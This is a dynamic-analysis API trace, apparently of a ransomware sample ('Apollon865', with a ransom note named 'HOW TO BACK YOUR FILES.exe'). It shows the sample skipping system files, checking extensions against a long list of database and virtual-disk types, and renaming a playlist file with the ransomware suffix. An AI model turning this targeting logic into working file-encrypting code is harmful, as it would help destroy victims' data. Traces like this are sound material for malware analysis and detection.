	[0061.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0061.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0061.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.733] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.734] CloseHandle (hObject=0xc0) returned 1
	[0061.734] CloseHandle (hObject=0x14c) returned 1
	[0061.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.734] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".") returned 1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="..") returned 1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="windows") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="bootmgr") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="temp") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="pagefile.sys") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="boot") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="ids.txt") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="ntuser.dat") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="perflogs") returned -1
	[0061.734] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2="MSBuild") returned -1
	[0061.735] lstrlenW (lpString="12_All_Video.wpl") returned 16
	[0061.735] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 103
	[0061.735] lstrcpyW (in: lpString1=0x119e6b0, lpString2="12_All_Video.wpl" | out: lpString1="12_All_Video.wpl") returned="12_All_Video.wpl"
	[0061.735] lstrlenW (lpString="12_All_Video.wpl") returned 16
	[0061.735] lstrlenW (lpString="Apollon865") returned 10
	[0061.735] lstrcmpiW (lpString1="_Video.wpl", lpString2="Apollon865") returned -1
	[0061.735] lstrlenW (lpString=".dll") returned 4
	[0061.735] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".dll") returned 1
	[0061.735] lstrlenW (lpString=".lnk") returned 4
	[0061.735] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".lnk") returned 1
	[0061.735] lstrlenW (lpString=".ini") returned 4
	[0061.735] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".ini") returned 1
	[0061.735] lstrlenW (lpString=".sys") returned 4
	[0061.735] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".sys") returned 1
	[0061.735] lstrlenW (lpString="12_All_Video.wpl") returned 16
	[0061.735] lstrlenW (lpString="bak") returned 3
	[0061.735] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.735] lstrlenW (lpString="ba_") returned 3
	[0061.735] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.735] lstrlenW (lpString="dbb") returned 3
	[0061.735] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.735] lstrlenW (lpString="vmdk") returned 4
	[0061.735] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.735] lstrlenW (lpString="rar") returned 3
	[0061.735] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.735] lstrlenW (lpString="zip") returned 3
	[0061.735] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.735] lstrlenW (lpString="tgz") returned 3
	[0061.735] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.735] lstrlenW (lpString="vbox") returned 4
	[0061.735] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.735] lstrlenW (lpString="vdi") returned 3
	[0061.735] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.735] lstrlenW (lpString="vhd") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.736] lstrlenW (lpString="vhdx") returned 4
	[0061.736] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.736] lstrlenW (lpString="avhd") returned 4
	[0061.736] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.736] lstrlenW (lpString="db") returned 2
	[0061.736] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.736] lstrlenW (lpString="db2") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.736] lstrlenW (lpString="db3") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.736] lstrlenW (lpString="dbf") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.736] lstrlenW (lpString="mdf") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.736] lstrlenW (lpString="mdb") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.736] lstrlenW (lpString="sql") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.736] lstrlenW (lpString="sqlite") returned 6
	[0061.736] lstrcmpiW (lpString1="eo.wpl", lpString2="sqlite") returned -1
	[0061.736] lstrlenW (lpString="sqlite3") returned 7
	[0061.736] lstrcmpiW (lpString1="deo.wpl", lpString2="sqlite3") returned -1
	[0061.736] lstrlenW (lpString="sqlitedb") returned 8
	[0061.736] lstrcmpiW (lpString1="ideo.wpl", lpString2="sqlitedb") returned -1
	[0061.736] lstrlenW (lpString="xml") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.736] lstrlenW (lpString="$er") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.736] lstrlenW (lpString="4dd") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.736] lstrlenW (lpString="4dl") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.736] lstrlenW (lpString="^^^") returned 3
	[0061.736] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.737] lstrlenW (lpString="abs") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.737] lstrlenW (lpString="abx") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.737] lstrlenW (lpString="accdb") returned 5
	[0061.737] lstrcmpiW (lpString1="o.wpl", lpString2="accdb") returned 1
	[0061.737] lstrlenW (lpString="accdc") returned 5
	[0061.737] lstrcmpiW (lpString1="o.wpl", lpString2="accdc") returned 1
	[0061.737] lstrlenW (lpString="accde") returned 5
	[0061.737] lstrcmpiW (lpString1="o.wpl", lpString2="accde") returned 1
	[0061.737] lstrlenW (lpString="accdr") returned 5
	[0061.737] lstrcmpiW (lpString1="o.wpl", lpString2="accdr") returned 1
	[0061.737] lstrlenW (lpString="accdt") returned 5
	[0061.737] lstrcmpiW (lpString1="o.wpl", lpString2="accdt") returned 1
	[0061.737] lstrlenW (lpString="accdw") returned 5
	[0061.737] lstrcmpiW (lpString1="o.wpl", lpString2="accdw") returned 1
	[0061.737] lstrlenW (lpString="accft") returned 5
	[0061.737] lstrcmpiW (lpString1="o.wpl", lpString2="accft") returned 1
	[0061.737] lstrlenW (lpString="adb") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.737] lstrlenW (lpString="adb") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.737] lstrlenW (lpString="ade") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.737] lstrlenW (lpString="adf") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.737] lstrlenW (lpString="adn") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.737] lstrlenW (lpString="adp") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.737] lstrlenW (lpString="alf") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.737] lstrlenW (lpString="ask") returned 3
	[0061.737] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.737] lstrlenW (lpString="btr") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.738] lstrlenW (lpString="cat") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.738] lstrlenW (lpString="cdb") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.738] lstrlenW (lpString="ckp") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.738] lstrlenW (lpString="cma") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.738] lstrlenW (lpString="cpd") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.738] lstrlenW (lpString="dacpac") returned 6
	[0061.738] lstrcmpiW (lpString1="eo.wpl", lpString2="dacpac") returned 1
	[0061.738] lstrlenW (lpString="dad") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.738] lstrlenW (lpString="dadiagrams") returned 10
	[0061.738] lstrcmpiW (lpString1="_Video.wpl", lpString2="dadiagrams") returned -1
	[0061.738] lstrlenW (lpString="daschema") returned 8
	[0061.738] lstrcmpiW (lpString1="ideo.wpl", lpString2="daschema") returned 1
	[0061.738] lstrlenW (lpString="db-journal") returned 10
	[0061.738] lstrcmpiW (lpString1="_Video.wpl", lpString2="db-journal") returned -1
	[0061.738] lstrlenW (lpString="db-shm") returned 6
	[0061.738] lstrcmpiW (lpString1="eo.wpl", lpString2="db-shm") returned 1
	[0061.738] lstrlenW (lpString="db-wal") returned 6
	[0061.738] lstrcmpiW (lpString1="eo.wpl", lpString2="db-wal") returned 1
	[0061.738] lstrlenW (lpString="dbc") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.738] lstrlenW (lpString="dbs") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.738] lstrlenW (lpString="dbt") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.738] lstrlenW (lpString="dbv") returned 3
	[0061.738] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.738] lstrlenW (lpString="dbx") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.739] lstrlenW (lpString="dcb") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.739] lstrlenW (lpString="dct") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.739] lstrlenW (lpString="dcx") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.739] lstrlenW (lpString="ddl") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.739] lstrlenW (lpString="dlis") returned 4
	[0061.739] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.739] lstrlenW (lpString="dp1") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.739] lstrlenW (lpString="dqy") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.739] lstrlenW (lpString="dsk") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.739] lstrlenW (lpString="dsn") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.739] lstrlenW (lpString="dtsx") returned 4
	[0061.739] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.739] lstrlenW (lpString="dxl") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.739] lstrlenW (lpString="eco") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.739] lstrlenW (lpString="ecx") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.739] lstrlenW (lpString="edb") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.739] lstrlenW (lpString="epim") returned 4
	[0061.739] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.739] lstrlenW (lpString="fcd") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.739] lstrlenW (lpString="fdb") returned 3
	[0061.739] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.740] lstrlenW (lpString="fic") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.740] lstrlenW (lpString="flexolibrary") returned 12
	[0061.740] lstrcmpiW (lpString1="ll_Video.wpl", lpString2="flexolibrary") returned 1
	[0061.740] lstrlenW (lpString="fm5") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.740] lstrlenW (lpString="fmp") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.740] lstrlenW (lpString="fmp12") returned 5
	[0061.740] lstrcmpiW (lpString1="o.wpl", lpString2="fmp12") returned 1
	[0061.740] lstrlenW (lpString="fmpsl") returned 5
	[0061.740] lstrcmpiW (lpString1="o.wpl", lpString2="fmpsl") returned 1
	[0061.740] lstrlenW (lpString="fol") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.740] lstrlenW (lpString="fp3") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.740] lstrlenW (lpString="fp4") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.740] lstrlenW (lpString="fp5") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.740] lstrlenW (lpString="fp7") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.740] lstrlenW (lpString="fpt") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.740] lstrlenW (lpString="frm") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.740] lstrlenW (lpString="gdb") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.740] lstrlenW (lpString="gdb") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.740] lstrlenW (lpString="grdb") returned 4
	[0061.740] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.740] lstrlenW (lpString="gwi") returned 3
	[0061.740] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.741] lstrlenW (lpString="hdb") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.741] lstrlenW (lpString="his") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.741] lstrlenW (lpString="ib") returned 2
	[0061.741] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.741] lstrlenW (lpString="idb") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.741] lstrlenW (lpString="ihx") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.741] lstrlenW (lpString="itdb") returned 4
	[0061.741] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.741] lstrlenW (lpString="itw") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.741] lstrlenW (lpString="jet") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.741] lstrlenW (lpString="jtx") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.741] lstrlenW (lpString="kdb") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.741] lstrlenW (lpString="kexi") returned 4
	[0061.741] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.741] lstrlenW (lpString="kexic") returned 5
	[0061.741] lstrcmpiW (lpString1="o.wpl", lpString2="kexic") returned 1
	[0061.741] lstrlenW (lpString="kexis") returned 5
	[0061.741] lstrcmpiW (lpString1="o.wpl", lpString2="kexis") returned 1
	[0061.741] lstrlenW (lpString="lgc") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.741] lstrlenW (lpString="lwx") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.741] lstrlenW (lpString="maf") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.741] lstrlenW (lpString="maq") returned 3
	[0061.741] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.742] lstrlenW (lpString="mar") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.742] lstrlenW (lpString="marshal") returned 7
	[0061.742] lstrcmpiW (lpString1="deo.wpl", lpString2="marshal") returned -1
	[0061.742] lstrlenW (lpString="mas") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.742] lstrlenW (lpString="mav") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.742] lstrlenW (lpString="maw") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.742] lstrlenW (lpString="mdbhtml") returned 7
	[0061.742] lstrcmpiW (lpString1="deo.wpl", lpString2="mdbhtml") returned -1
	[0061.742] lstrlenW (lpString="mdn") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.742] lstrlenW (lpString="mdt") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.742] lstrlenW (lpString="mfd") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.742] lstrlenW (lpString="mpd") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.742] lstrlenW (lpString="mrg") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.742] lstrlenW (lpString="mud") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.742] lstrlenW (lpString="mwb") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.742] lstrlenW (lpString="myd") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.742] lstrlenW (lpString="ndf") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.742] lstrlenW (lpString="nnt") returned 3
	[0061.742] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.742] lstrlenW (lpString="nrmlib") returned 6
	[0061.742] lstrcmpiW (lpString1="eo.wpl", lpString2="nrmlib") returned -1
	[0061.743] lstrlenW (lpString="ns2") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.743] lstrlenW (lpString="ns3") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.743] lstrlenW (lpString="ns4") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.743] lstrlenW (lpString="nsf") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.743] lstrlenW (lpString="nv") returned 2
	[0061.743] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.743] lstrlenW (lpString="nv2") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.743] lstrlenW (lpString="nwdb") returned 4
	[0061.743] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.743] lstrlenW (lpString="nyf") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.743] lstrlenW (lpString="odb") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.743] lstrlenW (lpString="odb") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.743] lstrlenW (lpString="oqy") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.743] lstrlenW (lpString="ora") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.743] lstrlenW (lpString="orx") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.743] lstrlenW (lpString="owc") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.743] lstrlenW (lpString="p96") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.743] lstrlenW (lpString="p97") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.743] lstrlenW (lpString="pan") returned 3
	[0061.743] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.743] lstrlenW (lpString="pdb") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.744] lstrlenW (lpString="pdm") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.744] lstrlenW (lpString="pnz") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.744] lstrlenW (lpString="qry") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.744] lstrlenW (lpString="qvd") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.744] lstrlenW (lpString="rbf") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.744] lstrlenW (lpString="rctd") returned 4
	[0061.744] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.744] lstrlenW (lpString="rod") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.744] lstrlenW (lpString="rodx") returned 4
	[0061.744] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.744] lstrlenW (lpString="rpd") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.744] lstrlenW (lpString="rsd") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.744] lstrlenW (lpString="sas7bdat") returned 8
	[0061.744] lstrcmpiW (lpString1="ideo.wpl", lpString2="sas7bdat") returned -1
	[0061.744] lstrlenW (lpString="sbf") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.744] lstrlenW (lpString="scx") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.744] lstrlenW (lpString="sdb") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.744] lstrlenW (lpString="sdc") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.744] lstrlenW (lpString="sdf") returned 3
	[0061.744] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.744] lstrlenW (lpString="sis") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.745] lstrlenW (lpString="spq") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.745] lstrlenW (lpString="te") returned 2
	[0061.745] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.745] lstrlenW (lpString="teacher") returned 7
	[0061.745] lstrcmpiW (lpString1="deo.wpl", lpString2="teacher") returned -1
	[0061.745] lstrlenW (lpString="tmd") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.745] lstrlenW (lpString="tps") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.745] lstrlenW (lpString="trc") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.745] lstrlenW (lpString="trc") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.745] lstrlenW (lpString="trm") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.745] lstrlenW (lpString="udb") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.745] lstrlenW (lpString="udl") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.745] lstrlenW (lpString="usr") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.745] lstrlenW (lpString="v12") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.745] lstrlenW (lpString="vis") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.745] lstrlenW (lpString="vpd") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.745] lstrlenW (lpString="vvv") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.745] lstrlenW (lpString="wdb") returned 3
	[0061.745] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.745] lstrlenW (lpString="wmdb") returned 4
	[0061.746] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.746] lstrlenW (lpString="wrk") returned 3
	[0061.746] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.746] lstrlenW (lpString="xdb") returned 3
	[0061.746] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.746] lstrlenW (lpString="xld") returned 3
	[0061.746] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.746] lstrlenW (lpString="xmlff") returned 5
	[0061.746] lstrcmpiW (lpString1="o.wpl", lpString2="xmlff") returned -1
	[0061.746] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.Apollon865") returned 111
	[0061.746] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.apollon865"), dwFlags=0x1) returned 1
